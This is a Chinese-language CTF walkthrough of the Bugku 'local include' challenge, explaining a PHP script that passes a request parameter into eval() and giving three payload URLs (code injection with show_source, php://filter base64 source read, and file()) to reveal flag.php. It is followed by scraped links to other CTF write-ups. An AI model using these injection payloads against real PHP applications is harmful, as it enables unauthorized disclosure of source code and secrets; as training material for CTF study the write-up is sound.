Day36

 

本地包含

60

地址:http://123.206.87.240:8003/
 
 
本题要点: eval()、 文件包含漏洞、base64编码
 
 
阅读代码
<?php
    include "flag.php";              //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
    $a = @$_REQUEST['hello'];         //无论是以POST还是GET方式,都可以给$a赋值
    eval( "var_dump($a);");                 //var_dump可以输出变量的类型和值
    show_source(__FILE__);
?>
 
出现了include/require这两个函数,就是典型的文件包含攻击的漏洞了
eval会执行代码,那么脚本里面执行的也就是:
var_dump();show_source(%27flag.php%27);//)
var_dump();
show_source('flag.php');
//)
这种攻击方式和SQL注入的payload很像:
“);”负责把前面的命令闭合掉
“//”负责把原来命令的残余部分注释掉
中间的那部分就是我们希望执行的命令,这是典型的“命令注入”式的攻击方式
 
方法一:
我们可以利用eval函数的命令执行漏洞来构造payload
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
 
 
方法二:
利用POST传参和base64编码来构造payload
http://123.206.87.240:8003/?hello=);include(@$_POST['z']
在POST区域输入:z=php://filter/convert.base64-encode/resource=flag.php
解码结果如下:
 
 
方法三:
直接将flag.php文件读入变量hello中
http://123.206.87.240:8003/?hello=file(%27flag.php%27)
 
 
完成~
 
 
 
参考资料:
https://blog.csdn.net/dyw_666666/article/details/82389457
https://www.jianshu.com/p/bf64c59b64e6
 
 
 

Bugku-CTF之本地包含( 60)的更多相关文章

  1. bugku 本地包含

    本地包含 题目信息 地址:http://123.206.87.240:8003/ <?php include "flag.php"; $a = @$_REQUEST['hel ...

  2. Bugku CTF练习题---MISC---贝斯手

    Bugku CTF练习题---MISC---贝斯手 flag:flag{this_is_md5_and_base58} 解题步骤: 1.观察题目,下载附件 2.下载后进行解压,得到了一张图片.一个压缩 ...

  3. Bugku CTF练习题---MISC---telnet

    Bugku CTF练习题---MISC---telnet flag:flag{d316759c281bf925d600be698a4973d5} 解题步骤: 1.观察题目,下载附件 2.拿到手以后发现 ...

  4. Bugku CTF练习题---MISC---眼见非实

    Bugku CTF练习题---MISC---眼见非实 flag:flag{F1@g} 解题步骤: 1.观察题目,下载附件 2.拿到手以后发现是一个压缩包,打开是一个Word文档,观察其中的内容,除了开 ...

  5. Bugku CTF练习题---MISC---宽带信息泄露

    Bugku CTF练习题---MISC---宽带信息泄露 flag:053700357621 解题步骤: 1.观察题目,下载附件 2.下载到电脑里发现是一个bin文件,二进制文件的一个种类,再看名称为 ...

  6. Bugku CTF练习题---MISC---这是一张单纯的图片

    Bugku CTF练习题---MISC---这是一张单纯的图片 flag:key{you are right} 解题步骤: 1.观察题目,下载附件 2.打开以后发现是一张图片,修改文件扩展名,查看属性 ...

  7. Bugku CTF练习题---加密---ok

    Bugku CTF练习题---加密---ok flag:flag{ok-ctf-1234-admin} 解题步骤: 1.观察题目,发现规律 2.发现所有内容都是ook写的, 直接上网搜索一下原因,发现 ...

  8. Bugku CTF练习题---加密---聪明的小羊

    Bugku CTF练习题---加密---聪明的小羊 flag:KEY{sad23jjdsa2} 解题步骤: 1.观察题目,发现其中的信息 2.经过题目判断,得知该题属于栅栏密码的一种,并且介绍中表明了 ...

  9. Bugku CTF练习题---分析---flag被盗

    Bugku CTF练习题---分析---flag被盗 flag:flag{This_is_a_f10g} 解题步骤: 1.观察题目,下载附件 2.下载的文件是一个数据包,果断使用wireshark打开 ...

随机推荐

  1. mac /windows

    1.mac 和 windows 同样的浏览器展示的样式有偏差 考虑:字体的问题,mac/windows 的字体不一样 font-family 用法

  2. 自定义结构体 Map

    struct Hashmap{ ,maxe=; ],nxt[maxe+],w[maxe+]; ]; ;;} void Add(int x,int y){son[++E]=y;nxt[E]=lnk[x] ...

  3. HDU-1506 Largest Rectangle in a Histogram【单调栈】

    Description A histogram is a polygon composed of a sequence of rectangles aligned at a common base l ...

  4. [转]触发fullgc的条件

    良好的状态是:minor gc比较多 full gc 比较少 因为fullgc时间比较慢,而且会占用CPU的时间片. 不好的状态是:minor gc比较少 full gc 比较多 这样程序就一直卡在f ...

  5. 高级特征工程II

    以下是Coursera上的How to Win a Data Science Competition: Learn from Top Kagglers课程笔记. Statistics and dist ...

  6. uipath_excel

    1.excel建表 https://jingyan.baidu.com/article/95c9d20d0ee5e2ec4e75618d.html 2.具体操作 https://blog.csdn.n ...

  7. php对数组排序 关联数组功能比较

    用php在国家统计局中抓取 省市区县 代码.名称.排序order id,处理方式是通过curl请求网址,正则匹配 获取信息,并保存为json文件,以便后期读取文件. 过程中或遇到对json文件转化为数 ...

  8. 【Python】遍历循环

  9. Redis 数据结构的底层实现 (二) dict skiplist intset

    一.REDIS_INCODING_HT (dict字典,hashtable) dict是一个用于维护key和value映射关系的数据结构.redis的一个database中所有的key到value的映 ...

  10. sql查询——子查询

    -- 子查询 -- 一句查询语句内,再套一句查询语句 ,叫子查询 -- 查询班级类身高最高的人的名字 select name from students where high=(select max( ...